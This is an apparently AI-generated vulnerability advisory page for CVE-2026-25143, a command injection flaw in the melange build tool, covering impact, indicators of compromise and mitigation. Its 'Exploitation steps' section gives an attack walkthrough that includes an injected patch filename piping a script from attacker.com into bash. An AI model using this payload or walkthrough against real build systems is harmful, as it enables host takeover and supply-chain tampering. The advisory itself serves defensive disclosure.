CVE-2026-25143: 
NixOS vulnerability analysis and mitigation

Overview

CVE-2026-25143 is an OS command injection vulnerability in Chainguard's melange build tool that allows an attacker who can influence patch pipeline inputs to execute arbitrary shell commands on the build host. It affects melange versions 0.10.0 through 0.40.4 (Go module chainguard.dev/melange). The vulnerability was discovered by Oleh Konko (@1seal) from 1seal, disclosed on February 3, 2026, and patched in version 0.40.5. It carries a CVSS v3.1 base score of 7.8 (High) (GitHub Advisory, Chainguard Advisory).

Technical details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The vulnerable code resides in pkg/build/pipelines/patch.yaml, where input-derived values — including series paths, patch filenames, and numeric parameters — are embedded directly into shell scripts without proper quoting or sanitization. This allows an attacker to inject shell metacharacters such as backticks, command substitutions $(...), semicolons, pipes, or redirections to break out of the intended command context. The vulnerability is triggerable via melange build and melange license-check operations. The fix (commit bd132535) added proper quoting of external input variables and additional input validation with tests (GitHub Advisory, Fix Commit).

Impact

Successful exploitation allows an attacker to execute arbitrary shell commands on the build host with the privileges of the melange build process, resulting in high confidentiality, integrity, and availability impact. This could lead to complete compromise of the build host, including unauthorized access to secrets or build artifacts, modification of build outputs (supply chain tampering), or disruption of build services. In CI/CD environments, this could enable lateral movement to downstream systems or infrastructure that trusts build outputs (GitHub Advisory, Chainguard Advisory).

Exploitability

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.017% (3rd percentile), indicating a low near-term exploitation probability. Exploitation requires the ability to influence patch-related inputs to the melange pipeline, which is most feasible in pull request-driven CI, build-as-a-service environments, or scenarios where an attacker can modify melange configuration files (GitHub Advisory, Chainguard Advisory).

Exploitation steps

  1. Identify target: Locate a CI/CD pipeline or build-as-a-service environment using melange versions 0.10.0–0.40.4 that processes external patch inputs (e.g., via pull requests or user-supplied build configurations).
  2. Craft malicious input: Prepare a patch filename, series path, or numeric parameter containing shell metacharacters — for example, a patch filename like legit.patch; curl http://attacker.com/shell.sh | bash or a series path containing a command substitution $(malicious_command).
  3. Inject via attack surface: Submit the malicious input through an available vector — e.g., open a pull request that modifies a patch series file in a repository whose CI uses melange, or supply a crafted melange YAML configuration referencing the malicious patch path.
  4. Trigger pipeline execution: Cause the melange build or melange license-check operation to run, which processes the patch pipeline in pkg/build/pipelines/patch.yaml and embeds the unquoted input into a shell script.
  5. Achieve code execution: The injected metacharacters cause the shell to interpret the attacker-controlled content as commands, executing them with the privileges of the melange build process on the host (GitHub Advisory, Chainguard Advisory).

Indicators of compromise

  • Logs: Build logs from melange showing unexpected shell output, error messages from injected commands, or anomalous command execution within patch pipeline steps; CI/CD logs showing unusual process output during melange build or melange license-check runs.
  • Process: Unexpected child processes spawned by the melange build process (e.g., curl, wget, bash, python, nc) that are not part of the normal build workflow; processes making outbound network connections from the build host.
  • Network: Outbound connections from the build host to unknown external IPs or domains during a melange build operation, particularly during patch application steps.
  • File System: Unexpected files written to the build host outside of the normal build output directories; new scripts, binaries, or cron jobs created by the melange process user; modified build artifacts or configuration files.

Mitigation and workarounds

Upgrade melange to version 0.40.5 or later, which contains the fix introduced in commit bd132535 that adds proper quoting of external input variables and additional input validation (Chainguard Advisory, Fix Commit). As a workaround prior to patching, restrict access to melange build configurations and pull request-driven CI systems to trusted users only, and avoid processing untrusted patch inputs. Audit any build processes using vulnerable versions (0.10.0–0.40.4) for signs of exploitation.

Community reactions

The vulnerability was acknowledged by the Chainguard team, with antitree publishing the advisory and coordinating the fix. Credit was given to Oleh Konko (@1seal) from 1seal for responsible disclosure. The issue received coverage from standard vulnerability tracking services and was noted in a Mastodon post by @thehackerwire. No significant broader media coverage or notable researcher commentary beyond the official advisory has been identified (GitHub Advisory).

Additional resources


Source: This report was generated using AI

Related NixOS vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-112940HIGH7.1
  • Python logoPython
  • py3-filelock
NoYesOct 20, 2026
CVE-2026-112937MEDIUM6.1
  • Python logoPython
  • python-filelock
NoYesOct 20, 2026
CVE-2026-112936MEDIUM6.1
  • Python logoPython
  • python-filelock
NoYesOct 20, 2026
CVE-2026-112939MEDIUM4.7
  • Python logoPython
  • python-filelock
NoYesOct 20, 2026
CVE-2026-112941LOW3.3
  • Python logoPython
  • filelock
NoYesOct 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management